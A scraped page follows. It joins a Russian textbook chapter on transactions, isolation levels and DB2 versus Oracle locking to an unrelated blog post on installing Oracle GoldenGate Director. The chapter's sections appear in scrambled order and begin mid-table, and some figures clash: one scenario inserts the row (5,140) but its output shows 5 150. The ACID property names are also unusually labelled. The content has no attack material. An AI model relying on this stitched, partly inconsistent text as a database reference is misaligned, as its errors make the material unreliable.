IX | да | нет | да | нет | нет |
SIX | да | нет | нет | нет | нет |
X | нет | нет | нет | нет | нет |
5.4.2 Механизмы Oracle
Механизмы обеспечения транзакций в Oracle называют оптимистическими. При этом имеется в виду то, что СУБД предполагает, что вероятность отката транзакции и конфликта транзакций по доступу к данным невелика. Oracle использует журнал, в котором хранит информацию для повторения транзакций в случае сбоя и "сегмент отката". Если транзакция изменяет базу данных, выполненные изменения сразу заносятся в область данных, а старая версия данных сохраняется в сегменте отката. Блокировки чтения, таким образом не накладываются. Подробный протокол чтения данных приводится ниже:- Для каждой транзакции (или запроса) запоминается текущий системный номер (SCN - System Current Number). Чем позже начата транзакция, тем больше ее SCN.
- При записи страницы данных на диск фиксируется SCN транзакции, производящей эту запись; этот SCN становится текущим системным номером страницы данных.
- Если транзакция читает страницу данных, то SCN транзакции сравнивается с SCN читаемой страницы данных.
- Если SCN страницы данных меньше или равен SCN транзакции, то транзакция читает эту страницу.
- Если SCN страницы данных больше SCN транзакции, то это означает, что некоторая другая транзакция, начавшаяся позже данной, успела изменить или сейчас изменяет данные страницы. В этом случае транзакция данная просматривает журнал транзакций назад в поиске первой записи об изменении нужной страницы данных с SCN меньшим, чем SCN данной транзакции. Найдя такую запись, транзакция использует вариант данных страницы из сегмента отката.
READ ONLY
сегмент отката даже не создается.При изменении данных Oracle накладывает на измененную строку эксклюзивную блокировку.Таким образом, существенная разница в поведении двух рассматриваемых СУБД состоит в следующем: при угрозе возникновения чтения нецелостных данных DB2 блокирует транзакцию, пытающуюся выполнить такое чтение; Oracle же предоставляет транзакции то последнее целостное значение данных, которое существовало на момент начала транзакции. Подход Oracle в этой связи называют многоверсионным, так как одновременно разные транзакции могут видеть разные версии данных. Многоверсионный подход уменьшает количество блокировок, но подход, основанный на блокировках, обеспечивает более согласованное представление данных. Между разработчиками СУБД ведутся ожесточенные дискуссии о превосходстве того или другого подходов, но независимые эксперты, как правило, не могут отдать предпочтения ни тому, ни другому. Следует отметить, что существуют приемы и правила разработки приложений, которые позволяют обеспечить большую согласованность данных в Oracle и меньшее количество блокировок в DB2.
5.4.3 Реализация сценариев
5.4.3.1 Потерянные измененияВ обеих СУБД, независимо от установленного уровня изоляции, действия по сценарию п.5.3.1. будут следующими:
- после ввода оператора
UPDATE
на шаге 2 транзакция Т1 "зависнет" (заблокируется): - оператор шага 2 завершится только, когда будет введен оператор COMMIT в транзакции T1.
- на шаге 5 будет выбрано:
id dat ---------- ----------- 1 101 2 110 3 120 4 1305.4.3.2 Грязное чтение
В DB2 при уровне изоляции CS и выше транзакция транзакция T1 на шаге 2 заблокируется. Оператор этого шага завершится только тогда, когда в транзакции T2 будет введен оператор
ROLLBACK
или COMMIT
. Если транзакция T2 будет зафиксирована, то в транзакции T1 на шаге 3 будет выбрано:id dat ---------- ----------- 1 101 2 101 3 120 4 130Если транзакция T2 откатится, то в транзакции T1 на шаге 3 будет выбрано:
id dat ---------- ----------- 1 100 2 100 3 120 4 130В Oracle блокировок не будет. На шаге 3 будет выбрано:
id dat ---------- ----------- 1 100 2 100 3 120 4 130Поскольку транзакция T1 не завершается до шага 5, то на шаге 5 будет выбрано исходное состояние таблицы. (Если транзакция T2 зафиксируется, а не откатится, то на шаге 5 будут отображены только изменения, выполненные в T2).
5.4.3.3 Неповторяющееся чтение
В DB2 при уровне изоляции RS и выше транзакция T2 будет заблокирована на шаге 2, пока в транзакции T1 не будет выполнен оператор
COMMIT
или ROLLBACK
. Если зафиксировать транзакцию T1 на шаге 2, то на шаге 4 будут выбраны уже обновленные значения, но это будет уже другая транзакция.В Oracle при уровне изоляции
SERIALIZABLE
на шагах 1 и 4 будет выбрано одно и то же:id dat ---------- ----------- 1 100Но если ту же выборку повторить после фиксации транзакции T1, то будет выбрано:
id dat ---------- ----------- 1 1015.4.3.4 Фантом
В DB2 при уровне изоляции RR транзакция T2 будет заблокирована на шаге 2, пока в транзакции T1 не будет выполнен оператор
COMMIT
или ROLLBACK
. Если завершить транзакцию T1 на шаге 2, то на шаге 4 будут выбраны уже обновленные значения, но это будет уже другая транзакция.В Oracle при уровне изоляции
SERIALIZABLE
на шагах 1 и 4 будет выбрано:id dat ---------- ----------- 3 120 4 130Если ту же выборку повторить после фиксации транзакции T1, будет выбрано:
id dat ---------- ----------- 3 120 4 130 5 150
5.4.4 Тупики
Поскольку обе СУБД используют блокировки записи для предотвращения, например, такого нежелательного эффекта, как потерянные изменения, возможно возникновение тупиков. Тупик может возникнуть в том случае, если транзакция T1 требует каких-то ресурсов, которые эксклюзивно блокированы транзакцией T2, а транзакция T2 требует ресурсов, которые эксклюзивно блокированы транзакцией T1. Сценарий возникновения тупика, например, следующий:Транзакция T1 | Шаг | Транзакция T2 |
UPDATE example SET dat=101 WHERE id=1 | 1 | |
2 | UPDATE example SET dat=112 WHERE id=2 | |
UPDATE example SET dat=111 WHERE id=2 | 3 | |
4 | UPDATE example SET dat=102 WHERE id=1 |
UPDATE
одной из транзакций с сообщением об ошибке. Вторая транзакция при этом продолжает оставаться заблокированной. Транзакция, в которой был выполнен откат оператора, теперь должна явным образом завершиться (зафиксироваться или откатиться), только после этого будет разблокирована другая транзакция.5.4.5 Эскалация блокировок
Поскольку каждый доступ к строке таблицы включает в себя проверку наложенных на строку блокировок, большое число блокировок может привести к замедлению доступа. В DB2 при достижении числом блокировок некоторого предустановленного порога (он задается в параметрах базы данных) происходит эскалация блокировок, наложение блокировок на более крупный объект. Так, если блокируется большое число строк в таблице, то эти блокировки переводятся в блокировку всей таблицы. Эскалация блокировок повышает эффективность выполнения приложения, но влечет за собой увеличение числа блокировок в параллельно выполняющихся транзакциях.В Oracle нет концепции эскалации блокировок, так как Oracle, исходит из предположения, что большого числа блокировок быть не должно. Но нехватка памяти для размещения списка блокировок приводит к блокировке всего приложения.
Сценарии возникновения нежелательных эффектов (потерянные изменения, грязное чтение...)
EXAMPLE
. Мы предполагаем, что в начале выполнения каждого следующего пункта содержимое этой таблицы возвращается к исходному, а именно:
Таблица EXAMPLE
id INTEGER | dat INTEGER |
1 | 100 |
2 | 110 |
3 | 120 |
4 | 130 |
5.3.1 Потерянные изменения
Транзакция T1 | Шаг | Транзакция T2 |
UPDATE example SET dat=dat+1 WHERE id=1 | 1 | |
2 | UPDATE example SET dat=dat+1 WHERE id=1 | |
COMMIT | 3 | |
4 | COMMIT | |
SELECT * FROM example | 5 |
id dat ---------- ----------- 1 101 2 110 3 120 4 130
5.3.2 Грязное чтение
Транзакция T1 | Шаг | Транзакция T2 |
1 | UPDATE example SET dat=101 WHERE id=1 | |
UPDATE example SET dat= (SELECT dat FROM example WHERE id=1) WHERE id=2 | 2 | |
SELECT * FROM example | 3 | |
4 | ROLLBACK | |
5 | SELECT * FROM example |
На шаге 3 будет выбрано:
id dat ---------- ----------- 1 101 2 101 3 120 4 130На шаге 5 будет выбрано:
id dat ---------- ----------- 1 100 2 101 3 120 4 130
5.3.3 Неповторяющееся чтение
Транзакция T1 | Шаг | Транзакция T2 |
SELECT * FROM example WHERE id=1 | 1 | |
[COMMIT] | 2 | UPDATE example SET dat=101 WHERE id=1 |
3 | COMMIT | |
SELECT * FROM example WHERE id=1 | 4 | |
COMMIT | 5 |
COMMIT
в транзакции T1 на шаге 2 выполнять не придется.На шаге 1 будет выбрано:
id dat ---------- ----------- 1 100На шаге 4 будет выбрано:
id dat ---------- ----------- 1 101Если выполнить операцию
COMMIT
на шаге 2, то результаты будут те же, что и без нее, но здесь уже не будет эффекта неповторяющегося чтения, так как разные результаты будут прочитаны уже в разных транзакциях.5.3.4 Фантом
Транзакция T1 | Шаг | Транзакция T2 |
SELECT * FROM example WHERE dat>110 | 1 | |
[COMMIT] | 2 | INSERT INTO example VALUES(5,140) |
3 | COMMIT | |
SELECT * FROM example WHERE dat>110 | 4 | |
COMMIT | 5 |
COMMIT
в транзакции T1 на шаге 2 выполнять не придется.На шаге 1 будет выбрано:
id dat ---------- ----------- 3 120 4 130 На шаге 4 будет выбрано: id dat ---------- ----------- 3 120 4 130 5 150
Понятие транзакции и операторы COMMIT и ROLLBACK
- атомарность (atomity) - транзакция является неделимой, она выполняется полностью или не выполняется вообще; если транзакция прерывается на середине, то база данных должна остаться в том состоянии, которое она имела до начала транзакции;
- параллельность (concurrency) - эффект от параллельного выполнения нескольких транзакций должен быть таким же, как от их последовательного выполнения; выполняющиеся транзакции не должны накладываться друг на друга;
- целостность (integrity) - транзакция переводит база данных из одного непротиворечивого (целостного) состояния в другое; в ходе выполнения транзакции база данных может временно пребывать в нецелостном состоянии;
- долговременность (duration) - после того, как транзакция завершена и зафиксирована, результат ее выполнения гарантированно сохраняется в базе данных.
AUTOCOMMIT
. Когда этот режим выключен, все приложение составляет одну транзакцию (если в нем не задано явное управление транзакциями), которая завершается с завершением приложения. Когда же этот режим включен, каждый SQL-оператор в приложении выполняется как отдельная транзакция, даже если в приложении имеются операторы явного управления транзакциями. Оператор является минимальной единицей транзакции: некоторые операторы могут включать в себя сложные действия над множеством строк, но все эти операции СУБД выполняет как одну транзакцию.При выключенном режиме
AUTOCOMMIT
приложение может само управлять разбиением выполняемых им действий на транзакции. Первый SQL-оператор, выполняемый в приложении, начинает новую транзакцию. Все последующие операторы продолжают эту транзакцию, пока не встретится оператор COMMIT
или ROLLBACK
.Оператор фиксации -
COMMIT
- завершает текущую транзакцию и фиксирует ее результаты. После выполнения оператора COMMIT
результаты транзакции гарантированно сохраняются в базе данных и начинается новая транзакция. Оператор отката - ROLLBACK
- завершает текущую транзакцию "с откатом". После выполнения этого оператора восстанавливается то состояние базы данных, в котором она была перед началом транзакции, и начинается новая транзакция. При выполнении оператора COMMIT
или ROLLBACK
снимаются все наложенные в транзакции блокировки (о блокировках - см. ниже).Стандартом SQL/92 не предусматриваются какие-либо дополнительные возможности операторов
COMMIT
и ROLLBACK
, поэтому их стандартный синтаксис очень прост (см. рис.5.1).Рисунок 5.1 - Операторы
COMMIT
и ROLLBACK
SAVEPOINT
, и в операторе ROLLBACK
имеется возможность отката транзакции не к началу, а к указанной точке сохранения.С учетом этой возможности синтаксис операторов
SAVEPOINT
и ROLLBACK
в Oracle показан на рис. 5.2, а в DB2 (это новая возможность версии 7.1.) - на рис. 5.3.Рисунок 5.2 - Операторы
ROLLBACK
и SAVEPOINT
в OracleРисунок 5.3 - Операторы
ROLLBACK
и SAVEPOINT
в DB2SAVEPOINT
с тем же именем точки отменяет предыдущую точку сохранения.Выше мы отметили, что внутри транзакции состояние базы данных в принципе может быть нецелостным. В Oracle в описании ограничений целостности может быть задано ключевое слово
DEFERRED
(отсроченный) - для ограничения, проверка которого откладывается до окончания транзакции. Отключение ограничений может выполняться также оператором SET CONSTRAINT
, что соответствует стандарту SQL/92. В DB2 отключения ограничений целостности могут быть сделаны только явным образом - оператором SET INTEGRITY
. Подробное описание этих возможностей содержится в [7, 9].Уровни изоляции
Свойство параллельности является одним из наиболее важных свойств транзакций, которые обеспечивают промышленные базы данных. Современные промышленные СУБД обеспечивают параллельную работу с одними и теми же данными огромного количества пользователей. Так, СУБД DB2 была протестирована при одновременной работе 60 тыс. пользователей; точных данных по Oracle у нас нет, но и здесь речь идет о десятках тысяч пользователей. В таких условиях важно, чтобы параллельно выполняемые транзакции не накладывались, а были изолированы друг от друга.
Стандарт SQL/92 определяет уровни изоляции транзакций в многопользовательской системе через отсутствие таких аномалий доступа к базе данных, которые могут в конечном итоге угрожать целостности данных. В стандарте различаются следующие аномалии:- Потерянные изменения. Транзакция Т1 читает данные. Транзакция Т2 читает те же данные. Транзакция T1 на основании прочитанного значения вычисляет новое значение данных, записывает его в базу данных и завершается. Транзакция T2 на основании прочитанного значения вычисляет новое значение данных, записывает его в базу данных и завершается. В результате значение, записанное транзакцией Т2, "затрет" значение, записанное транзакцией Т1.
- Грязное чтение. Транзакция Т1 изменяет некоторые данные, но еще не завершается. Транзакция Т2 читает эти же данные (с изменениями, внесенными транзакцией Т1) и принимает на их основе какие-то решения. Транзакция Т1 выполняет откат. В результате решение, принятое транзакцией Т2, основано на неверных данных.
- Неповторяющееся чтение. Транзакция Т1 в ходе своего выполнения несколько раз читает одни и те же данные. Транзакция Т2 в интервалах между чтениями данных в транзакции Т1 изменяет эти данные и фиксируется. В результате оказывается, что чтения одних и тех же данных в транзакции Т1 дают разные результаты.
- Фантом. Транзакция Т1 в ходе своего выполнения несколько раз выбирает множество строк по одним и тем же критериям. Транзакция Т2 в интервалах между выборками транзакции Т1 добавляет или удаляет строки или изменяет столбцы некоторых строк, используемых в критерии выборки, и фиксируется. В результате оказывается, что одинаковые запросы в транзакции Т1 выбирают разные множество строк.
Определение уровней изоляции в стандарте и в рассматриваемых нами СУБД сведено в таблицу:
Уровни изоляции SQL/92 | Аномалии | DB2 | Oracle | |||
А1 | А2 | А3 | А4 | |||
READ UNCOMMITTED | нет | да | да | да | UNCOMMITTED READ (UR) | - |
READ COMMITTED | нет | нет | да | да | CURSOR STABILITY (CS) | READ COMMITTED |
REPEATABLE READ | нет | нет | нет | да | READ STABILITY (RS) | - |
SERIALIZABLE | нет | нет | нет | нет | REPEATABLE READ (RR) | SERIALIZABLE |
Аномалии: А1 - Потерянные изменения А3 - Неповторяющееся чтение А2 - Грязное чтение А4 - Фантом |
READ ONLY
- для только-читающих транзакций.В Oracle требуемый уровень изоляции может быть установлен для сеанса соединения с базой данных - как одна из возможностей оператора
ALTER SESSION
или для отдельной транзакции оператором SET TRANSACTION
. Синтаксис этих операторов показан на рис. 5.4.Рисунок 5.4 - Операторы
ALTER SESSION
и SET TRANSACTION
(Oracle)CHANGE ISOLATION
:Рисунок 5.5 - Операторы
CHANGE ISOLATION
(DB2)пʼятниця, 15 травня 2015 р.
Alexander Ryndin: Использование GoldenGate Director для управления интеграцией
Использование GoldenGate Director для управления интеграцией
Написал Alexander Ryndin в
АРХИТЕКТУРА GOLDENGATE DIRECTOR
GoldenGate Director (сейчас это называется GoldenGate Management Pack) — это многозвенное клиент-серверное приложение, обеспечивающее возможность конфигурирования и управления экземплярами(instances) GoldenGate с удаленного рабочего места. GoldenGate Director состоит из следующих компонент:
Экземпляры GoldenGate
Каждый экземпляр процесса GoldenGate Manager — индентифицируется полным именем сервера, портом, на котором слушает Manager и пользовательским именем источника данных. Поскольку процесс GoldenGate Manager связан с базой данных, эта комбинация определяется как источник данных в клиенте GoldenGate Director.
GoldenGate Director Server
GoldenGate Director Server координирует управление экземплярами GoldenGate. GoldenGate Director Server инсталлируется как домен в Oracle Weblogic Server и состоит из следующих приложений:
- GoldenGate Director Server — набор сервисов, управляющих безопасностью, информацией о сервисах, объектной моделью, консолидированным журналированием событий и слежбами уведомления;
- Monitor Agent — клиент для серверов GoldenGate, который устанавливает выделенное соединение с помощью GGSCI. Соединение используется, чтобы получить информацию о статусе процессов и событиях.
Director Database
GoldenGate Director Server использует базу данных как центральный репозиторий для хранения информации о пользователях и группах, графических диаграмм, созданных пользователями, консолидированных событий и другой информации. Пользователь может использовать клиента, проинсталлированного на любом компьютере, но видеть одну и ту же информацию.
Клиенты GoldenGate
- GoldenGate Director Client — это клиентское приложение для GoldenGate Director Server, обеспечивающее GUI интерфейс для управления экземплярами GoldenGate. Клиент может быть запущен на любой платформе, которая поддерживает Java.
- GoldenGate Director Web — это тонкий клиент. Обеспечивает средства контроля за экземплярами GoldenGate и простейшего управления.
- GoldenGate Director Administrator — средство управления метаданными GoldenGate Director Server. Этот инструмент не управляет процессами GoldenGate, но позволяет настроить параметры для подключения к экземплярам, а также управлять пользователями пользователей.
ИНСТАЛЛЯЦИЯ GOLDENGATE АГЕНТОВ
См. статью Использование GoldenGate для live reporting. Читать то заголовка «Настраиваем процесс сбора изменений»
ИНСТАЛЛЯЦИЯ GOLDENGATE DIRECTOR
Перед инсталляцией необходимо иметь проинсталлированным следующее ПО:
- JRE 6 (1.6.x)
- Oracle Weblogic Server 11g (10.3.1) Standard Edition
- База данных (MySQL 5.x EE, SQL Server 2000 или 2005, Oracle 9i
Дальше я останавливаюсь на инсталляции GoldenGate Director на Oracle Database.
Создание пользователя
CREATE USER ggDirector IDENTIFIED BY passw0rd DEFAULT TABLESPACE users;
ALTER USER ggDirector QUOTA UNLIMITED ON users;
GRANT connect,resource TO ggDirector;
ALTER USER ggDirector QUOTA UNLIMITED ON users;
GRANT connect,resource TO ggDirector;
Инсталляция
- Скачиваем дистрибутив с http://edelivery.oracle.com из раздела Fusion Middleware
- Запускаем инсталляцию ggdirector-serversetup_<version>
- Welcome screen: Нажимаем Next.
- Choose Installation Location: Вводим каталог, в который инсталлируем Director
- Weblogic Location: Вводим путь к каталогу, который на один уровень выше wlserver_10.3.1 (по-умолчанию это каталог Middleware). Этот каталог используется для поиска пути к каталогу с доменами.
- HTTP port: вводим порт, который будет использоваться. По умолчанию используется порт 7001.
- Database: Указывается тип базы данных.
- Database driver configuration: Прописываем информацию необходимую для подключения к базе данных.
- Database User: Указываем имя пользователя и пароль для создания репозитория.
- Pre-installation summary: Жмем Next.
- Затем жмем Finish.
Запуск и останов GoldenGate Director.
Действие | Windows | Unix и Linux |
Запуск | domain\startWebLogic.cmd | domain/startWebLogic.sh |
Останов | domain\bin\stopWebLogic.cmd | domain/bin/stopWebLogic.sh |
Подключение к GoldenGate Director
- Для подключения к толстому клиенту используйте ссылку :/download»>http://<servername>:<port>/download
- Для подключения к тонкому клиенту — :/acon»>http://<servername>:<port>/acon
НАСТРОЙКА GOLDENGATE DIRECTOR
Для того, чтобы управлять инфраструктурой с помощью GoldenGate Director необходимо настроить подключения к каждому установленному GoldenGate Manager. Кроме того, необходимо настроить пользователей, которые будут использоваться при управлении GoldenGate Director.
Для этих целей используется инструмент GoldenGate Director Administrator. Проинсталлировать его можно перейдя по ссылке :/download»>http://<servername>:<port>/download. После запуска мы получаем окно входа в систему:
Имя и пароль по умолчанию — admin. После первого запуска рекомендуется сменить этот пароль. Имя сервера необходимо вводить вместе с номером порта, на котором слушает weblogic (по-умолчанию 7001).
Учетные записи мы сейчас трогать не будет, поэтому сразу перейдем на вторую закладку, на которой регистрируются источники данных:
На этой закладке для каждой базы данных, для которой будет производиться репликация. На этой закладке более менее все понятно
После того, как все настроено можно перейти на закладку Monitor Agent и попробовать перезапустить агентов.
НАСТРОЙКА РЕПЛИКАЦИИ
После настройки источников данных мы запускаем толстый клиент Oracle GoldenGate-Director. Жмем кнопку Login и вводим того же пользователя admin, что и ранее.
Создаем новую диаграмму, на которую перетаскиваем нужные источники данных:
Далее в простейшем случае мы можем перетащить с закладки Add new действие Capture and Delivery на источник. Необходимые действия на настройки репликации.
МОНИТОРИНГ РАБОТЫ ПРОЦЕССОВ GOLDENGATE
Для мониторинга сервисов можно использовать как толстый клиент, так и веб-клиент, расположенный по адресу :/acon»>http://<servername>:<port>/acon
ЗАКЛЮЧЕНИЕ
Инструмент GoldenGate Director — это мощное, но достаточно простое в использовании средство настройки репликации данных, а также готовое средство мониторинга процессов, участвующих в передаче данных.
Вследствие своей архитектуры GoldenGate Director обеспечивает единый взгляд на процессы репликации для всех пользователей вне зависимости от того, с какого сервера произведен вход в систему.
Для одних задач удобно применять веб-клиент, а для других — удобнее толстый клиент. Кроме того, GoldenGate обеспечивает инфраструктуру для настройки уведомления администратора при возникновении заданных событий.
Підписатися на:
Дописи (Atom)